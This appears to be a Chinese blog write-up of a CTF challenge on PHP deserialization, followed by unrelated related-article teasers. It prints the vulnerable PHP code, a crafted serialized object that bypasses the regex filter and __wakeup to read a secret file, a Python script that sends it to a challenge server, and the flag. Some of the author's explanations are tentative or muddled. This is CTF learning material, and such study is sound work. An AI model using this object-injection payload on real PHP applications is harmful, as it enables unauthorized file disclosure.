当前位置: 首页 > news >正文

【web | CTF】攻防世界 Web_php_unserialize

天命:这条反序列化题目也是比较特别,里面的漏洞知识点,在现在的php都被修复了

天命:而且这次反序列化的字符串数量跟其他题目不一样

 <?php 
class Demo { // 初始化给变量内容,也就是当前文件,高亮显示出来private $file = 'index.php';// 初始化触发函数:把我们输入的东西放入属性变量里,就是我们反序列化的时候输入的东西public function __construct($file) { $this->file = $file; }// 销毁时候触发,相当于是打印flag文件出来function __destruct() { echo @highlight_file($this->file, true); }// 这个方法不会触发,估计是旧版本的php,满足某些情况所以没有触发// 纯碎用来吓人,我还研究了一晚上如何让  fl4g.php == index.php// fl4g.php == index.php,就算是弱比较也是不可能相等的function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php  // 直接访问是空气$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); // 即是重点,也是难点,更是无用的点// 现在版本的php都已经修复了if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

坑点:__wakeup函数可以忽略,根本不会触发,

麻痹研究了我一晚上如何才能让  fl4g.php == index.php 

最后结论:就算是弱比较,也不可能相等,没有其他办法

所以只需要绕过正则表达式即可,不会正则表达式自己去学习

既不简单,也不难,我也学了几天才算比较掌握
 

【绕过点一】绕过正则,在O:4: 改成 O:+4: 就可以了

多一个+号(具体原理也不清楚,反正当是刷经验了,上古版本的php才有的漏洞)

【绕过点二】绕过 __wakeup函数,把反序列化中的内容数量,从1改成2即可

至少很大概率是这样绕过,看别人wp讲的

大概意思应该是当反序列化的  属性变量数  大于  当前类的属性变量数 的时候,就什么安全性因素,就不触发

【绕过点三】加上\00

变量名:Demofile 变成  \00Demo\00, 字符个数+2就行:s:10:"\00Demo\00file"

这里可能是因为 private 的原因,所以是+2

其他题目是protected,就是+3

也不确定是不是肯定,做的反序列化题目还不够多

【最终改变】

O:4:"Demo":1:{s:10:"Demofile";s:3:"aaa";}

O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}

写上测试脚本

import requests,base64# 两个payload都可以
str = 'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'
str = 'O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}'# 编码
base64_str = base64.b64encode(str.encode('utf-8')).decode('utf-8')# 发送请求
res = requests.get('http://61.147.171.105:56675?var='+base64_str)
if "flag" in res.text:print("成功了")

base64:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

相关文章:

【web | CTF】攻防世界 Web_php_unserialize

天命&#xff1a;这条反序列化题目也是比较特别&#xff0c;里面的漏洞知识点&#xff0c;在现在的php都被修复了 天命&#xff1a;而且这次反序列化的字符串数量跟其他题目不一样 <?php class Demo { // 初始化给变量内容&#xff0c;也就是当前文件&#xff0c;高亮显示…...

Vue3中的select 的option是多余的?

背景&#xff1a; 通过Vue3中填充一个下拉框&#xff0c;在打开页面时要指定默认选中&#xff0c;并在选项改变时把下拉框的选中值显示出来 问题&#xff1a; 填充通常的作法是设置 <option v-for"option in cities" :value"option.value" >&a…...

考研408深度分析+全年规划

408确实很难&#xff0c;他的难分两方面 一方面是408本身的复习难度&#xff0c;我们都知道&#xff0c;408的考察科目有四科&#xff0c;分别是数据结构&#xff0c;计算机组成原理&#xff0c;操作系统和计算机网络。大家回想一下自己在大学本科时候学习这些专业课的难度&am…...

【算法笔记】ch01_01_0771 宝石与石头

笔记介绍&#xff1a; 本项目是datawhale发布的LeetCode 算法笔记&#xff08;Leetcode-Notes&#xff09;课程完成笔记&#xff0c;根据推荐题目循序渐进练习算法题目。主要用python进行书写相关代码&#xff0c;会介绍解题思路及跑通解法。 0771. 宝石与石头 题目大意 描…...

jQuery瀑布流画廊,瀑布流动态加载

jQuery瀑布流画廊&#xff0c;瀑布流动态加载 效果展示 手机布局 jQuery瀑布流动态加载 HTML代码片段 <!-- mediabanner --><div class"mediabanner"><img src"img/mediabanner.jpg" class"bg"/><div class"text&qu…...

玩转ChatGPT:参考文献速查

一、写在前面 各位大佬&#xff0c;我又回来了&#xff0c;最近2月太忙啦&#xff08;过年、奶娃、本子、材料、结题&#xff09;&#xff0c;断更了。现水一篇证明我还活着&#xff01;&#xff01;&#xff01; 最近在写国自然本子&#xff0c;遇到一个估计大家都会遇到的问…...

[设计模式Java实现附plantuml源码~行为型]算法的封装与切换——策略模式

前言&#xff1a; 为什么之前写过Golang 版的设计模式&#xff0c;还在重新写Java 版&#xff1f; 答&#xff1a;因为对于我而言&#xff0c;当然也希望对正在学习的大伙有帮助。Java作为一门纯面向对象的语言&#xff0c;更适合用于学习设计模式。 为什么类图要附上uml 因为很…...

​【C语言】长篇详解,字符系列篇3-----strstr,strtok,strerror字符串函数的使用【图文详解​】

欢迎来CILMY23的博客喔&#xff0c;本期系列为​【C语言】长篇详解&#xff0c;字符系列篇3-----strstr&#xff0c;strtok&#xff0c;strerror字符串函数的使用【图文详解​】&#xff0c;图文讲解各种字符串函数&#xff0c;带大家更深刻理解C语言中各种字符串函数的应用&am…...

如何实现一个K8S DevicePlugin?

什么是device plugin k8s允许限制容器对资源的使用&#xff0c;比如CPU和内存&#xff0c;并以此作为调度的依据。 当其他非官方支持的设备类型需要参与到k8s的工作流程中时&#xff0c;就需要实现一个device plugin。 Kubernetes提供了一个设备插件框架&#xff0c;你可以用…...

Android LruCache源码分析

文章目录 Android LruCache源码分析概述LruCache和LinkedHashMap关系源码分析属性写入数据读取数据删除缓存 Android LruCache源码分析 概述 LruCache&#xff08;Least Recently Used Cache&#xff0c;最近最少使用缓存&#xff09;是 Android 中的一种缓存机制。 根据数据…...

如何使用Inno Setup制作Unity构建程序的Windows安装程序

1. 准备 &#xff08;1&#xff09;准备好Unity构建的程序集合 必须包括&#xff1a; Data文件夹&#xff08;xxx_Data&#xff09; Mono文件夹&#xff08;MonoBleedingEdge&#xff09; 打包的应用程序文件&#xff08;xxx.exe&#xff09; Unity播放器dll文件&#xff…...

linux 面试题

1.linux操作系统的常用指令可以详细说下吗,平常哪些用的比较多 文件目录操作命令: ls cd more cat tail mkdir touch rm rmdir 拷贝复制: cp mv 打包解包压缩解压: tar -z 解亚压缩 -c 打包 -x 解包 -v 显示过程 -f 指定文件名 文本编辑: vi vim 查找: find 查找文件 gre…...

嵌入式中逻辑分析仪基本操作方法

前期准备 1.一块能触摸的屏对应的主板机 2.逻辑分析仪对应的软件工具 3.对应的拓展板 4.确定拓展板的引脚分布情况 第一步&#xff1a;逻辑分析仪j基本操作 1.数据捕捉需要先进行对应软件安装,并按照需求进行配置 2.这里以A20为例:此手机使用显示驱动芯片CST148,触摸屏分辨…...

ONLYOFFICE 桌面编辑器 v8.0 更新内容详细攻略

文章目录 引言PDF 表单RTL 支持电子表格中的新增功能Moodle 集成用密码保护 PDF 文件从“开始”菜单快速创建文档本地界面主题下载安装桌面编辑工具总结 引言 官网链接&#xff1a; ONLYOFFICE 官方网址 ONLYOFFICE 桌面编辑器是一款免费的文档处理软件&#xff0c;适用于 Li…...

2024-2-22 作业

作业要求&#xff1a; 复习前面知识点(指针、结构体、函数)整理思维导图顺序表(按位置插入、按位置删除和去重、重新写)理解链表的代码&#xff0c;尝试写一下链表的尾插和输出 1.复习前面知识点(指针、结构体、函数) 2.整理思维导图 3.顺序表(按位置插入、按位置删除和去重、…...

2.1 RK3399项目开发实录-升级固件介绍(物联技术666)

1. 介绍 1.1. 前言 AIO-3399J 出厂默认安装Android操作系统&#xff0c;如果用户要运行其他操作系统&#xff0c;需要使用对应的固件烧写到主板。 AIO-3399J 有灵活的启动方式。一般情况下&#xff0c;除非硬件损坏&#xff0c;AIO-3399J 开发板是不会变砖的。 如果在升级过…...

Uniapp + VUE3.0 实现双向滑块视频裁剪效果

效果图 <template><view v-if"info" class"all"><video:src"info.videoUrl"class"video" id"video" :controls"true" object-fit"fill" :show-fullscreen-btn"false"play-btn…...

【算法小讲堂】#1 贪心算法

引入——关于贪心算法 我们先来做一个小游戏——现在假设自己是一个小偷&#xff0c;桌上有一些物品&#xff0c;包括一台iPhone15、一个充电宝、一个眼罩和一个溜溜梅。此时&#xff0c;你听说警察即将到来&#xff0c;那么你会先带走哪个东西呢&#xff1f; 一般来讲&#xf…...

判断当前shell版本

查看$SHELL环境变量&#xff1a; echo $SHELL输出的结果将是当前使用的shell的路径。例如&#xff0c;如果输出为 /bin/bash&#xff0c;则表示当前使用的是Bash shell。 查看ps命令输出&#xff1a; ps -p $$上述命令将显示当前终端进程的信息&#xff0c;其中 $$ 代表当前进…...

如何实现两个电脑之间通过以太网(网线)实现文件互传

如何实现两个电脑之间通过以太网&#xff08;网线&#xff09;实现文件互传 本帖目的&#xff1a;介绍如何通过以太网&#xff08;网线&#xff09;连接两台电脑&#xff0c;通过文件夹共享的方式&#xff0c;实现两台电脑之间的文件互传。 本帖以笔者实际工作上遇到的场景为例…...

5分钟快速上手:XUnity.AutoTranslator游戏翻译插件完整教程

5分钟快速上手&#xff1a;XUnity.AutoTranslator游戏翻译插件完整教程 【免费下载链接】XUnity.AutoTranslator 项目地址: https://gitcode.com/gh_mirrors/xu/XUnity.AutoTranslator 还在为外语游戏的语言障碍而烦恼吗&#xff1f;XUnity.AutoTranslator是一款强大的…...

同样遍历 Mat,为什么你的代码慢 10 倍?

文章目录前言一、什么是不连续Mat&#xff1f;1.产生不连续内存的常见场景2.连续与不连续内存本质区别二、常见错误遍历方式&踩坑分析1.错误一:at<>()逐像素访问&#xff08;速度慢&#xff09;2.错误二&#xff1a;强行使用一维 data 指针&#xff08;高危崩溃&…...

从ENVI SARscape到SNAP:手把手教你迁移哨兵1 GRD数据预处理流程(含避坑指南)

从ENVI SARscape到SNAP&#xff1a;哨兵1 GRD数据预处理全流程迁移实战 当雷达遥感领域的工具生态逐渐向开源化倾斜&#xff0c;许多长期依赖ENVI SARscape的研究者开始面临工具迁移的挑战。本文将聚焦哨兵1号GRD数据的预处理流程&#xff0c;为需要从商业软件转向开源工具的用…...

模块二-数据选择与索引——08. 条件筛选

08. 条件筛选 1. 概述 条件筛选是数据分析中最常用的操作之一。通过布尔表达式&#xff0c;可以快速筛选出满足特定条件的数据行&#xff0c;实现数据过滤、异常检测、子集提取等功能。 import pandas as pd import numpy as np# 创建示例数据 np.random.seed(42) df pd.DataF…...

MCP协议实战:构建AI智能体任务管理服务器与二次开发指南

1. 项目概述&#xff1a;一个为AI智能体“开眼”的MCP服务器最近在折腾AI智能体&#xff08;Agent&#xff09;开发的朋友&#xff0c;估计都绕不开一个词&#xff1a;MCP。全称是Model Context Protocol&#xff0c;你可以把它理解为给大模型&#xff08;比如Claude、GPT-4&am…...

超净实验室建设公司厂家:如何根据需求选择方案|中南实验室建设

在半导体制造、地质微量元素分析、生物制药等高精度领域&#xff0c;实验环境的洁净度直接影响数据可靠性与产品良率。超净实验室作为核心基础设施&#xff0c;其建设需融合空气动力学、材料科学、自动化控制等多学科技术。 一、超净实验室建设公司厂家的设计规划&#xff1a;…...

对比自行维护与使用Taotoken在模型接入效率上的差异

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 对比自行维护与使用Taotoken在模型接入效率上的差异 在开发需要集成大语言模型能力的应用时&#xff0c;团队通常面临一个核心选择…...

软件需求捕获:从Therac-25悲剧到安全关键系统开发的脊柱工程

1. 项目概述&#xff1a;从Therac-25悲剧到现代软件安全基石上世纪90年代中期&#xff0c;一系列由Therac-25放射治疗机引发的致命事故&#xff0c;最终催生了一场由华盛顿大学Nancy Leveson教授主导的正式调查。这场调查的结论&#xff0c;远不止于揪出一款医疗设备的软件缺陷…...

打破高频、高速四种材料混压

打破高频、高速四种材料混压&#xff0c;铸就PCB行业硬核实力。在航空航天领域&#xff0c;每一次技术的突破都意味着对材料与工艺的极致追求。今天&#xff0c;我们要聊的这款产品&#xff0c;堪称多材料混压天花板&#xff0c;——16层、四种材料混压、三次压合、板厚5.0mm、…...

日本电子产业转型启示:从技术过剩到商业模式创新

1. 日本电子产业的十字路口&#xff1a;一场箱根闭门会背后的行业剧痛2013年的春天&#xff0c;当全球电子产业的聚光灯都打在硅谷和深圳时&#xff0c;日本箱根的一家温泉旅馆里&#xff0c;正进行着一场鲜为人知却意义深远的对话。索尼、瑞萨、NEC、日立、松下、富士通、Mega…...